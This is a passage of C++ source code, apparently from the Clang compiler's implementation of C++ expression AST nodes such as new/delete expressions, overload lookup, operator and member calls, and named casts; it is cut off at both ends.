"clang/Basic/Specifiers.h" #include "llvm/ADT/ArrayRef.h" #include "llvm/Support/Casting.h" #include "llvm/Support/ErrorHandling.h" #include <cassert> #include <cstddef> #include <cstring> #include <memory> using namespace clang; //===----------------------------------------------------------------------===// // Child Iterators for iterating over subexpressions/substatements //===----------------------------------------------------------------------===// bool CXXOperatorCallExpr::isInfixBinaryOp() const { // An infix binary operator is any operator with two arguments other than // operator() and operator[]. Note that none of these operators can have // default arguments, so it suffices to check the number of argument // expressions. if (getNumArgs() != 2) return false; switch (getOperator()) { case OO_Call: case OO_Subscript: return false; default: return true; } } bool CXXTypeidExpr::isPotentiallyEvaluated() const { if (isTypeOperand()) return false; // C++11 [expr.typeid]p3: // When typeid is applied to an expression other than a glvalue of // polymorphic class type, [...] the expression is an unevaluated operand. const Expr *E = getExprOperand(); if (const CXXRecordDecl *RD = E->getType()->getAsCXXRecordDecl()) if (RD->isPolymorphic() && E->isGLValue()) return true; return false; } QualType CXXTypeidExpr::getTypeOperand(ASTContext &Context) const { assert(isTypeOperand() && "Cannot call getTypeOperand for typeid(expr)"); Qualifiers Quals; return Context.getUnqualifiedArrayType( Operand.get<TypeSourceInfo *>()->getType().getNonReferenceType(), Quals); } QualType CXXUuidofExpr::getTypeOperand(ASTContext &Context) const { assert(isTypeOperand() && "Cannot call getTypeOperand for __uuidof(expr)"); Qualifiers Quals; return Context.getUnqualifiedArrayType( Operand.get<TypeSourceInfo *>()->getType().getNonReferenceType(), Quals); } // CXXScalarValueInitExpr SourceLocation CXXScalarValueInitExpr::getBeginLoc() const { return TypeInfo ? TypeInfo->getTypeLoc().getBeginLoc() : getRParenLoc(); } // CXXNewExpr CXXNewExpr::CXXNewExpr(bool IsGlobalNew, FunctionDecl *OperatorNew, FunctionDecl *OperatorDelete, bool ShouldPassAlignment, bool UsualArrayDeleteWantsSize, ArrayRef<Expr *> PlacementArgs, SourceRange TypeIdParens, Optional<Expr *> ArraySize, InitializationStyle InitializationStyle, Expr *Initializer, QualType Ty, TypeSourceInfo *AllocatedTypeInfo, SourceRange Range, SourceRange DirectInitRange) : Expr(CXXNewExprClass, Ty, VK_RValue, OK_Ordinary, Ty->isDependentType(), Ty->isDependentType(), Ty->isInstantiationDependentType(), Ty->containsUnexpandedParameterPack()), OperatorNew(OperatorNew), OperatorDelete(OperatorDelete), AllocatedTypeInfo(AllocatedTypeInfo), Range(Range), DirectInitRange(DirectInitRange) { assert((Initializer != nullptr || InitializationStyle == NoInit) && "Only NoInit can have no initializer!"); CXXNewExprBits.IsGlobalNew = IsGlobalNew; CXXNewExprBits.IsArray = ArraySize.hasValue(); CXXNewExprBits.ShouldPassAlignment = ShouldPassAlignment; CXXNewExprBits.UsualArrayDeleteWantsSize = UsualArrayDeleteWantsSize; CXXNewExprBits.StoredInitializationStyle = Initializer ? InitializationStyle + 1 : 0; bool IsParenTypeId = TypeIdParens.isValid(); CXXNewExprBits.IsParenTypeId = IsParenTypeId; CXXNewExprBits.NumPlacementArgs = PlacementArgs.size(); if (ArraySize) { if (Expr *SizeExpr = *ArraySize) { if (SizeExpr->isValueDependent()) ExprBits.ValueDependent = true; if (SizeExpr->isInstantiationDependent()) ExprBits.InstantiationDependent = true; if (SizeExpr->containsUnexpandedParameterPack()) ExprBits.ContainsUnexpandedParameterPack = true; } getTrailingObjects<Stmt *>()[arraySizeOffset()] = *ArraySize; } if (Initializer) { if (Initializer->isValueDependent()) ExprBits.ValueDependent = true; if (Initializer->isInstantiationDependent()) ExprBits.InstantiationDependent = true; if (Initializer->containsUnexpandedParameterPack()) ExprBits.ContainsUnexpandedParameterPack = true; getTrailingObjects<Stmt *>()[initExprOffset()] = Initializer; } for (unsigned I = 0; I != PlacementArgs.size(); ++I) { if (PlacementArgs[I]->isValueDependent()) ExprBits.ValueDependent = true; if (PlacementArgs[I]->isInstantiationDependent()) ExprBits.InstantiationDependent = true; if (PlacementArgs[I]->containsUnexpandedParameterPack()) ExprBits.ContainsUnexpandedParameterPack = true; getTrailingObjects<Stmt *>()[placementNewArgsOffset() + I] = PlacementArgs[I]; } if (IsParenTypeId) getTrailingObjects<SourceRange>()[0] = TypeIdParens; switch (getInitializationStyle()) { case CallInit: this->Range.setEnd(DirectInitRange.getEnd()); break; case ListInit: this->Range.setEnd(getInitializer()->getSourceRange().getEnd()); break; default: if (IsParenTypeId) this->Range.setEnd(TypeIdParens.getEnd()); break; } } CXXNewExpr::CXXNewExpr(EmptyShell Empty, bool IsArray, unsigned NumPlacementArgs, bool IsParenTypeId) : Expr(CXXNewExprClass, Empty) { CXXNewExprBits.IsArray = IsArray; CXXNewExprBits.NumPlacementArgs = NumPlacementArgs; CXXNewExprBits.IsParenTypeId = IsParenTypeId; } CXXNewExpr * CXXNewExpr::Create(const ASTContext &Ctx, bool IsGlobalNew, FunctionDecl *OperatorNew, FunctionDecl *OperatorDelete, bool ShouldPassAlignment, bool UsualArrayDeleteWantsSize, ArrayRef<Expr *> PlacementArgs, SourceRange TypeIdParens, Optional<Expr *> ArraySize, InitializationStyle InitializationStyle, Expr *Initializer, QualType Ty, TypeSourceInfo *AllocatedTypeInfo, SourceRange Range, SourceRange DirectInitRange) { bool IsArray = ArraySize.hasValue(); bool HasInit = Initializer != nullptr; unsigned NumPlacementArgs = PlacementArgs.size(); bool IsParenTypeId = TypeIdParens.isValid(); void *Mem = Ctx.Allocate(totalSizeToAlloc<Stmt *, SourceRange>( IsArray + HasInit + NumPlacementArgs, IsParenTypeId), alignof(CXXNewExpr)); return new (Mem) CXXNewExpr(IsGlobalNew, OperatorNew, OperatorDelete, ShouldPassAlignment, UsualArrayDeleteWantsSize, PlacementArgs, TypeIdParens, ArraySize, InitializationStyle, Initializer, Ty, AllocatedTypeInfo, Range, DirectInitRange); } CXXNewExpr *CXXNewExpr::CreateEmpty(const ASTContext &Ctx, bool IsArray, bool HasInit, unsigned NumPlacementArgs, bool IsParenTypeId) { void *Mem = Ctx.Allocate(totalSizeToAlloc<Stmt *, SourceRange>( IsArray + HasInit + NumPlacementArgs, IsParenTypeId), alignof(CXXNewExpr)); return new (Mem) CXXNewExpr(EmptyShell(), IsArray, NumPlacementArgs, IsParenTypeId); } bool CXXNewExpr::shouldNullCheckAllocation() const { return getOperatorNew() ->getType() ->castAs<FunctionProtoType>() ->isNothrow() && !getOperatorNew()->isReservedGlobalPlacementOperator(); } // CXXDeleteExpr QualType CXXDeleteExpr::getDestroyedType() const { const Expr *Arg = getArgument(); // For a destroying operator delete, we may have implicitly converted the // pointer type to the type of the parameter of the 'operator delete' // function. while (const auto *ICE = dyn_cast<ImplicitCastExpr>(Arg)) { if (ICE->getCastKind() == CK_DerivedToBase || ICE->getCastKind() == CK_UncheckedDerivedToBase || ICE->getCastKind() == CK_NoOp) { assert((ICE->getCastKind() == CK_NoOp || getOperatorDelete()->isDestroyingOperatorDelete()) && "only a destroying operator delete can have a converted arg"); Arg = ICE->getSubExpr(); } else break; } // The type-to-delete may not be a pointer if it's a dependent type. const QualType ArgType = Arg->getType(); if (ArgType->isDependentType() && !ArgType->isPointerType()) return QualType(); return ArgType->castAs<PointerType>()->getPointeeType(); } // CXXPseudoDestructorExpr PseudoDestructorTypeStorage::PseudoDestructorTypeStorage(TypeSourceInfo *Info) : Type(Info) { Location = Info->getTypeLoc().getLocalSourceRange().getBegin(); } CXXPseudoDestructorExpr::CXXPseudoDestructorExpr(const ASTContext &Context, Expr *Base, bool isArrow, SourceLocation OperatorLoc, NestedNameSpecifierLoc QualifierLoc, TypeSourceInfo *ScopeType, SourceLocation ColonColonLoc, SourceLocation TildeLoc, PseudoDestructorTypeStorage DestroyedType) : Expr(CXXPseudoDestructorExprClass, Context.BoundMemberTy, VK_RValue, OK_Ordinary, /*isTypeDependent=*/(Base->isTypeDependent() || (DestroyedType.getTypeSourceInfo() && DestroyedType.getTypeSourceInfo()->getType()->isDependentType())), /*isValueDependent=*/Base->isValueDependent(), (Base->isInstantiationDependent() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier()->isInstantiationDependent()) || (ScopeType && ScopeType->getType()->isInstantiationDependentType()) || (DestroyedType.getTypeSourceInfo() && DestroyedType.getTypeSourceInfo()->getType() ->isInstantiationDependentType())), // ContainsUnexpandedParameterPack (Base->containsUnexpandedParameterPack() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier() ->containsUnexpandedParameterPack()) || (ScopeType && ScopeType->getType()->containsUnexpandedParameterPack()) || (DestroyedType.getTypeSourceInfo() && DestroyedType.getTypeSourceInfo()->getType() ->containsUnexpandedParameterPack()))), Base(static_cast<Stmt *>(Base)), IsArrow(isArrow), OperatorLoc(OperatorLoc), QualifierLoc(QualifierLoc), ScopeType(ScopeType), ColonColonLoc(ColonColonLoc), TildeLoc(TildeLoc), DestroyedType(DestroyedType) {} QualType CXXPseudoDestructorExpr::getDestroyedType() const { if (TypeSourceInfo *TInfo = DestroyedType.getTypeSourceInfo()) return TInfo->getType(); return QualType(); } SourceLocation CXXPseudoDestructorExpr::getEndLoc() const { SourceLocation End = DestroyedType.getLocation(); if (TypeSourceInfo *TInfo = DestroyedType.getTypeSourceInfo()) End = TInfo->getTypeLoc().getLocalSourceRange().getEnd(); return End; } // UnresolvedLookupExpr UnresolvedLookupExpr::UnresolvedLookupExpr( const ASTContext &Context, CXXRecordDecl *NamingClass, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &NameInfo, bool RequiresADL, bool Overloaded, const TemplateArgumentListInfo *TemplateArgs, UnresolvedSetIterator Begin, UnresolvedSetIterator End) : OverloadExpr(UnresolvedLookupExprClass, Context, QualifierLoc, TemplateKWLoc, NameInfo, TemplateArgs, Begin, End, false, false, false), NamingClass(NamingClass) { UnresolvedLookupExprBits.RequiresADL = RequiresADL; UnresolvedLookupExprBits.Overloaded = Overloaded; } UnresolvedLookupExpr::UnresolvedLookupExpr(EmptyShell Empty, unsigned NumResults, bool HasTemplateKWAndArgsInfo) : OverloadExpr(UnresolvedLookupExprClass, Empty, NumResults, HasTemplateKWAndArgsInfo) {} UnresolvedLookupExpr *UnresolvedLookupExpr::Create( const ASTContext &Context, CXXRecordDecl *NamingClass, NestedNameSpecifierLoc QualifierLoc, const DeclarationNameInfo &NameInfo, bool RequiresADL, bool Overloaded, UnresolvedSetIterator Begin, UnresolvedSetIterator End) { unsigned NumResults = End - Begin; unsigned Size = totalSizeToAlloc<DeclAccessPair, ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>(NumResults, 0, 0); void *Mem = Context.Allocate(Size, alignof(UnresolvedLookupExpr)); return new (Mem) UnresolvedLookupExpr(Context, NamingClass, QualifierLoc, SourceLocation(), NameInfo, RequiresADL, Overloaded, nullptr, Begin, End); } UnresolvedLookupExpr *UnresolvedLookupExpr::Create( const ASTContext &Context, CXXRecordDecl *NamingClass, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &NameInfo, bool RequiresADL, const TemplateArgumentListInfo *Args, UnresolvedSetIterator Begin, UnresolvedSetIterator End) { assert(Args || TemplateKWLoc.isValid()); unsigned NumResults = End - Begin; unsigned NumTemplateArgs = Args ? Args->size() : 0; unsigned Size = totalSizeToAlloc<DeclAccessPair, ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>(NumResults, 1, NumTemplateArgs); void *Mem = Context.Allocate(Size, alignof(UnresolvedLookupExpr)); return new (Mem) UnresolvedLookupExpr(Context, NamingClass, QualifierLoc, TemplateKWLoc, NameInfo, RequiresADL, /*Overloaded*/ true, Args, Begin, End); } UnresolvedLookupExpr *UnresolvedLookupExpr::CreateEmpty( const ASTContext &Context, unsigned NumResults, bool HasTemplateKWAndArgsInfo, unsigned NumTemplateArgs) { assert(NumTemplateArgs == 0 || HasTemplateKWAndArgsInfo); unsigned Size = totalSizeToAlloc<DeclAccessPair, ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>( NumResults, HasTemplateKWAndArgsInfo, NumTemplateArgs); void *Mem = Context.Allocate(Size, alignof(UnresolvedLookupExpr)); return new (Mem) UnresolvedLookupExpr(EmptyShell(), NumResults, HasTemplateKWAndArgsInfo); } OverloadExpr::OverloadExpr(StmtClass SC, const ASTContext &Context, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &NameInfo, const TemplateArgumentListInfo *TemplateArgs, UnresolvedSetIterator Begin, UnresolvedSetIterator End, bool KnownDependent, bool KnownInstantiationDependent, bool KnownContainsUnexpandedParameterPack) : Expr( SC, Context.OverloadTy, VK_LValue, OK_Ordinary, KnownDependent, KnownDependent, (KnownInstantiationDependent || NameInfo.isInstantiationDependent() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier()->isInstantiationDependent())), (KnownContainsUnexpandedParameterPack || NameInfo.containsUnexpandedParameterPack() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier() ->containsUnexpandedParameterPack()))), NameInfo(NameInfo), QualifierLoc(QualifierLoc) { unsigned NumResults = End - Begin; OverloadExprBits.NumResults = NumResults; OverloadExprBits.HasTemplateKWAndArgsInfo = (TemplateArgs != nullptr ) || TemplateKWLoc.isValid(); if (NumResults) { // Determine whether this expression is type-dependent. for (UnresolvedSetImpl::const_iterator I = Begin; I != End; ++I) { if ((*I)->getDeclContext()->isDependentContext() || isa<UnresolvedUsingValueDecl>(*I)) { ExprBits.TypeDependent = true; ExprBits.ValueDependent = true; ExprBits.InstantiationDependent = true; } } // Copy the results to the trailing array past UnresolvedLookupExpr // or UnresolvedMemberExpr. DeclAccessPair *Results = getTrailingResults(); memcpy(Results, Begin.I, NumResults * sizeof(DeclAccessPair)); } // If we have explicit template arguments, check for dependent // template arguments and whether they contain any unexpanded pack // expansions. if (TemplateArgs) { bool Dependent = false; bool InstantiationDependent = false; bool ContainsUnexpandedParameterPack = false; getTrailingASTTemplateKWAndArgsInfo()->initializeFrom( TemplateKWLoc, *TemplateArgs, getTrailingTemplateArgumentLoc(), Dependent, InstantiationDependent, ContainsUnexpandedParameterPack); if (Dependent) { ExprBits.TypeDependent = true; ExprBits.ValueDependent = true; } if (InstantiationDependent) ExprBits.InstantiationDependent = true; if (ContainsUnexpandedParameterPack) ExprBits.ContainsUnexpandedParameterPack = true; } else if (TemplateKWLoc.isValid()) { getTrailingASTTemplateKWAndArgsInfo()->initializeFrom(TemplateKWLoc); } if (isTypeDependent()) setType(Context.DependentTy); } OverloadExpr::OverloadExpr(StmtClass SC, EmptyShell Empty, unsigned NumResults, bool HasTemplateKWAndArgsInfo) : Expr(SC, Empty) { OverloadExprBits.NumResults = NumResults; OverloadExprBits.HasTemplateKWAndArgsInfo = HasTemplateKWAndArgsInfo; } // DependentScopeDeclRefExpr DependentScopeDeclRefExpr::DependentScopeDeclRefExpr( QualType Ty, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &NameInfo, const TemplateArgumentListInfo *Args) : Expr( DependentScopeDeclRefExprClass, Ty, VK_LValue, OK_Ordinary, true, true, (NameInfo.isInstantiationDependent() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier()->isInstantiationDependent())), (NameInfo.containsUnexpandedParameterPack() || (QualifierLoc && QualifierLoc.getNestedNameSpecifier() ->containsUnexpandedParameterPack()))), QualifierLoc(QualifierLoc), NameInfo(NameInfo) { DependentScopeDeclRefExprBits.HasTemplateKWAndArgsInfo = (Args != nullptr) || TemplateKWLoc.isValid(); if (Args) { bool Dependent = true; bool InstantiationDependent = true; bool ContainsUnexpandedParameterPack = ExprBits.ContainsUnexpandedParameterPack; getTrailingObjects<ASTTemplateKWAndArgsInfo>()->initializeFrom( TemplateKWLoc, *Args, getTrailingObjects<TemplateArgumentLoc>(), Dependent, InstantiationDependent, ContainsUnexpandedParameterPack); ExprBits.ContainsUnexpandedParameterPack = ContainsUnexpandedParameterPack; } else if (TemplateKWLoc.isValid()) { getTrailingObjects<ASTTemplateKWAndArgsInfo>()->initializeFrom( TemplateKWLoc); } } DependentScopeDeclRefExpr *DependentScopeDeclRefExpr::Create( const ASTContext &Context, NestedNameSpecifierLoc QualifierLoc, SourceLocation TemplateKWLoc, const DeclarationNameInfo &NameInfo, const TemplateArgumentListInfo *Args) { assert(QualifierLoc && "should be created for dependent qualifiers"); bool HasTemplateKWAndArgsInfo = Args || TemplateKWLoc.isValid(); std::size_t Size = totalSizeToAlloc<ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>( HasTemplateKWAndArgsInfo, Args ? Args->size() : 0); void *Mem = Context.Allocate(Size); return new (Mem) DependentScopeDeclRefExpr(Context.DependentTy, QualifierLoc, TemplateKWLoc, NameInfo, Args); } DependentScopeDeclRefExpr * DependentScopeDeclRefExpr::CreateEmpty(const ASTContext &Context, bool HasTemplateKWAndArgsInfo, unsigned NumTemplateArgs) { assert(NumTemplateArgs == 0 || HasTemplateKWAndArgsInfo); std::size_t Size = totalSizeToAlloc<ASTTemplateKWAndArgsInfo, TemplateArgumentLoc>( HasTemplateKWAndArgsInfo, NumTemplateArgs); void *Mem = Context.Allocate(Size); auto *E = new (Mem) DependentScopeDeclRefExpr( QualType(), NestedNameSpecifierLoc(), SourceLocation(), DeclarationNameInfo(), nullptr); E->DependentScopeDeclRefExprBits.HasTemplateKWAndArgsInfo = HasTemplateKWAndArgsInfo; return E; } SourceLocation CXXConstructExpr::getBeginLoc() const { if (isa<CXXTemporaryObjectExpr>(this)) return cast<CXXTemporaryObjectExpr>(this)->getBeginLoc(); return getLocation(); } SourceLocation CXXConstructExpr::getEndLoc() const { if (isa<CXXTemporaryObjectExpr>(this)) return cast<CXXTemporaryObjectExpr>(this)->getEndLoc(); if (ParenOrBraceRange.isValid()) return ParenOrBraceRange.getEnd(); SourceLocation End = getLocation(); for (unsigned I = getNumArgs(); I > 0; --I) { const Expr *Arg = getArg(I-1); if (!Arg->isDefaultArgument()) { SourceLocation NewEnd = Arg->getEndLoc(); if (NewEnd.isValid()) { End = NewEnd; break; } } } return End; } CXXOperatorCallExpr::CXXOperatorCallExpr(OverloadedOperatorKind OpKind, Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation OperatorLoc, FPOptions FPFeatures, ADLCallKind UsesADL) : CallExpr(CXXOperatorCallExprClass, Fn, /*PreArgs=*/{}, Args, Ty, VK, OperatorLoc, /*MinNumArgs=*/0, UsesADL) { CXXOperatorCallExprBits.OperatorKind = OpKind; CXXOperatorCallExprBits.FPFeatures = FPFeatures.getInt(); assert( (CXXOperatorCallExprBits.OperatorKind == static_cast<unsigned>(OpKind)) && "OperatorKind overflow!"); assert((CXXOperatorCallExprBits.FPFeatures == FPFeatures.getInt()) && "FPFeatures overflow!"); Range = getSourceRangeImpl(); } CXXOperatorCallExpr::CXXOperatorCallExpr(unsigned NumArgs, EmptyShell Empty) : CallExpr(CXXOperatorCallExprClass, /*NumPreArgs=*/0, NumArgs, Empty) {} CXXOperatorCallExpr *CXXOperatorCallExpr::Create( const ASTContext &Ctx, OverloadedOperatorKind OpKind, Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation OperatorLoc, FPOptions FPFeatures, ADLCallKind UsesADL) { // Allocate storage for the trailing objects of CallExpr. unsigned NumArgs = Args.size(); unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXOperatorCallExpr) + SizeOfTrailingObjects, alignof(CXXOperatorCallExpr)); return new (Mem) CXXOperatorCallExpr(OpKind, Fn, Args, Ty, VK, OperatorLoc, FPFeatures, UsesADL); } CXXOperatorCallExpr *CXXOperatorCallExpr::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs, EmptyShell Empty) { // Allocate storage for the trailing objects of CallExpr. unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXOperatorCallExpr) + SizeOfTrailingObjects, alignof(CXXOperatorCallExpr)); return new (Mem) CXXOperatorCallExpr(NumArgs, Empty); } SourceRange CXXOperatorCallExpr::getSourceRangeImpl() const { OverloadedOperatorKind Kind = getOperator(); if (Kind == OO_PlusPlus || Kind == OO_MinusMinus) { if (getNumArgs() == 1) // Prefix operator return SourceRange(getOperatorLoc(), getArg(0)->getEndLoc()); else // Postfix operator return SourceRange(getArg(0)->getBeginLoc(), getOperatorLoc()); } else if (Kind == OO_Arrow) { return getArg(0)->getSourceRange(); } else if (Kind == OO_Call) { return SourceRange(getArg(0)->getBeginLoc(), getRParenLoc()); } else if (Kind == OO_Subscript) { return SourceRange(getArg(0)->getBeginLoc(), getRParenLoc()); } else if (getNumArgs() == 1) { return SourceRange(getOperatorLoc(), getArg(0)->getEndLoc()); } else if (getNumArgs() == 2) { return SourceRange(getArg(0)->getBeginLoc(), getArg(1)->getEndLoc()); } else { return getOperatorLoc(); } } CXXMemberCallExpr::CXXMemberCallExpr(Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation RP, unsigned MinNumArgs) : CallExpr(CXXMemberCallExprClass, Fn, /*PreArgs=*/{}, Args, Ty, VK, RP, MinNumArgs, NotADL) {} CXXMemberCallExpr::CXXMemberCallExpr(unsigned NumArgs, EmptyShell Empty) : CallExpr(CXXMemberCallExprClass, /*NumPreArgs=*/0, NumArgs, Empty) {} CXXMemberCallExpr *CXXMemberCallExpr::Create(const ASTContext &Ctx, Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation RP, unsigned MinNumArgs) { // Allocate storage for the trailing objects of CallExpr. unsigned NumArgs = std::max<unsigned>(Args.size(), MinNumArgs); unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXMemberCallExpr) + SizeOfTrailingObjects, alignof(CXXMemberCallExpr)); return new (Mem) CXXMemberCallExpr(Fn, Args, Ty, VK, RP, MinNumArgs); } CXXMemberCallExpr *CXXMemberCallExpr::CreateEmpty(const ASTContext &Ctx, unsigned NumArgs, EmptyShell Empty) { // Allocate storage for the trailing objects of CallExpr. unsigned SizeOfTrailingObjects = CallExpr::sizeOfTrailingObjects(/*NumPreArgs=*/0, NumArgs); void *Mem = Ctx.Allocate(sizeof(CXXMemberCallExpr) + SizeOfTrailingObjects, alignof(CXXMemberCallExpr)); return new (Mem) CXXMemberCallExpr(NumArgs, Empty); } Expr *CXXMemberCallExpr::getImplicitObjectArgument() const { const Expr *Callee = getCallee()->IgnoreParens(); if (const auto *MemExpr = dyn_cast<MemberExpr>(Callee)) return MemExpr->getBase(); if (const auto *BO = dyn_cast<BinaryOperator>(Callee)) if (BO->getOpcode() == BO_PtrMemD || BO->getOpcode() == BO_PtrMemI) return BO->getLHS(); // FIXME: Will eventually need to cope with member pointers. return nullptr; } QualType CXXMemberCallExpr::getObjectType() const { QualType Ty = getImplicitObjectArgument()->getType(); if (Ty->isPointerType()) Ty = Ty->getPointeeType(); return Ty; } CXXMethodDecl *CXXMemberCallExpr::getMethodDecl() const { if (const auto *MemExpr = dyn_cast<MemberExpr>(getCallee()->IgnoreParens())) return cast<CXXMethodDecl>(MemExpr->getMemberDecl()); // FIXME: Will eventually need to cope with member pointers. return nullptr; } CXXRecordDecl *CXXMemberCallExpr::getRecordDecl() const { Expr* ThisArg = getImplicitObjectArgument(); if (!ThisArg) return nullptr; if (ThisArg->getType()->isAnyPointerType()) return ThisArg->getType()->getPointeeType()->getAsCXXRecordDecl(); return ThisArg->getType()->getAsCXXRecordDecl(); } //===----------------------------------------------------------------------===// // Named casts //===----------------------------------------------------------------------===// /// getCastName - Get the name of the C++ cast being used, e.g., /// "static_cast", "dynamic_cast", "reinterpret_cast", or /// "const_cast". The returned pointer must not be freed. const char *CXXNamedCastExpr::getCastName() const { switch (getStmtClass()) { case CXXStaticCastExprClass: return "static_cast"; case CXXDynamicCastExprClass: return "dynamic_cast"; case CXXReinterpretCastExprClass: return "reinterpret_cast"; case CXXConstCastExprClass: return "const_cast"; default: return "<invalid cast>"; } } CXXStaticCastExpr *CXXStaticCastExpr::Create(const ASTContext &C, QualType T, ExprValueKind VK, CastKind K, Expr *Op, const CXXCastPath *BasePath, TypeSourceInfo *WrittenTy, SourceLocation L, SourceLocation RParenLoc, SourceRange AngleBrackets) { unsigned PathSize = (BasePath ? BasePath->size() : 0); void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); auto *E = new (Buffer) CXXStaticCastExpr(T, VK, K, Op, PathSize, WrittenTy, L, RParenLoc, AngleBrackets); if (PathSize) std::uninitialized_copy_n(BasePath->data(), BasePath->size(), E->getTrailingObjects<CXXBaseSpecifier *>()); return E; } CXXStaticCastExpr *CXXStaticCastExpr::CreateEmpty(const ASTContext &C, unsigned PathSize) { void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); return new (Buffer) CXXStaticCastExpr(EmptyShell(), PathSize); } CXXDynamicCastExpr *CXXDynamicCastExpr::Create(const ASTContext &C, QualType T, ExprValueKind VK, CastKind K, Expr *Op, const CXXCastPath *BasePath, TypeSourceInfo *WrittenTy, SourceLocation L, SourceLocation RParenLoc, SourceRange AngleBrackets) { unsigned PathSize = (BasePath ? BasePath->size() : 0); void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); auto *E = new (Buffer) CXXDynamicCastExpr(T, VK, K, Op, PathSize, WrittenTy, L, RParenLoc, AngleBrackets); if (PathSize) std::uninitialized_copy_n(BasePath->data(), BasePath->size(), E->getTrailingObjects<CXXBaseSpecifier *>()); return E; } CXXDynamicCastExpr *CXXDynamicCastExpr::CreateEmpty(const ASTContext &C, unsigned PathSize) { void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); return new (Buffer) CXXDynamicCastExpr(EmptyShell(), PathSize); } /// isAlwaysNull - Return whether the result of the dynamic_cast is proven /// to always be null. For example: /// /// struct A { }; /// struct B final : A { }; /// struct C { }; /// /// C *f(B* b) { return dynamic_cast<C*>(b); } bool CXXDynamicCastExpr::isAlwaysNull() const { QualType SrcType = getSubExpr()->getType(); QualType DestType = getType(); if (const auto *SrcPTy = SrcType->getAs<PointerType>()) { SrcType = SrcPTy->getPointeeType(); DestType = DestType->castAs<PointerType>()->getPointeeType(); } if (DestType->isVoidType()) return false; const auto *SrcRD = cast<CXXRecordDecl>(SrcType->castAs<RecordType>()->getDecl()); if (!SrcRD->hasAttr<FinalAttr>()) return false; const auto *DestRD = cast<CXXRecordDecl>(DestType->castAs<RecordType>()->getDecl()); return !DestRD->isDerivedFrom(SrcRD); } CXXReinterpretCastExpr * CXXReinterpretCastExpr::Create(const ASTContext &C, QualType T, ExprValueKind VK, CastKind K, Expr *Op, const CXXCastPath *BasePath, TypeSourceInfo *WrittenTy, SourceLocation L, SourceLocation RParenLoc, SourceRange AngleBrackets) { unsigned PathSize = (BasePath ? BasePath->size() : 0); void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); auto *E = new (Buffer) CXXReinterpretCastExpr(T, VK, K, Op, PathSize, WrittenTy, L, RParenLoc, AngleBrackets); if (PathSize) std::uninitialized_copy_n(BasePath->data(), BasePath->size(), E->getTrailingObjects<CXXBaseSpecifier *>()); return E; } CXXReinterpretCastExpr * CXXReinterpretCastExpr::CreateEmpty(const ASTContext &C, unsigned PathSize) { void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); return new (Buffer) CXXReinterpretCastExpr(EmptyShell(), PathSize); } CXXConstCastExpr *CXXConstCastExpr::Create(const ASTContext &C, QualType T, ExprValueKind VK, Expr *Op, TypeSourceInfo *WrittenTy, SourceLocation L, SourceLocation RParenLoc, SourceRange AngleBrackets) { return new (C) CXXConstCastExpr(T, VK, Op, WrittenTy, L, RParenLoc, AngleBrackets); } CXXConstCastExpr *CXXConstCastExpr::CreateEmpty(const ASTContext &C) { return new (C) CXXConstCastExpr(EmptyShell()); } CXXFunctionalCastExpr * CXXFunctionalCastExpr::Create(const ASTContext &C, QualType T, ExprValueKind VK, TypeSourceInfo *Written, CastKind K, Expr *Op, const CXXCastPath *BasePath, SourceLocation L, SourceLocation R) { unsigned PathSize = (BasePath ? BasePath->size() : 0); void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); auto *E = new (Buffer) CXXFunctionalCastExpr(T, VK, Written, K, Op, PathSize, L, R); if (PathSize) std::uninitialized_copy_n(BasePath->data(), BasePath->size(), E->getTrailingObjects<CXXBaseSpecifier *>()); return E; } CXXFunctionalCastExpr * CXXFunctionalCastExpr::CreateEmpty(const ASTContext &C, unsigned PathSize) { void *Buffer = C.Allocate(totalSizeToAlloc<CXXBaseSpecifier *>(PathSize)); return new (Buffer) CXXFunctionalCastExpr(EmptyShell(), PathSize); } SourceLocation CXXFunctionalCastExpr::getBeginLoc() const { return getTypeInfoAsWritten()->getTypeLoc().getBeginLoc(); } SourceLocation CXXFunctionalCastExpr::getEndLoc() const { return RParenLoc.isValid() ? RParenLoc : getSubExpr()->getEndLoc(); } UserDefinedLiteral::UserDefinedLiteral(Expr *Fn, ArrayRef<Expr *> Args, QualType Ty, ExprValueKind VK, SourceLocation LitEndLoc, SourceLocation SuffixLoc) : CallExpr(UserDefinedLiteralClass, Fn, /*PreArgs=*/{}, Args, Ty, VK, LitEndLoc, /*MinNumArgs=*/0, NotADL), UDSuffixLoc(SuffixLoc) {} UserDefinedLiteral::UserDefinedLiteral(unsigned NumArgs, 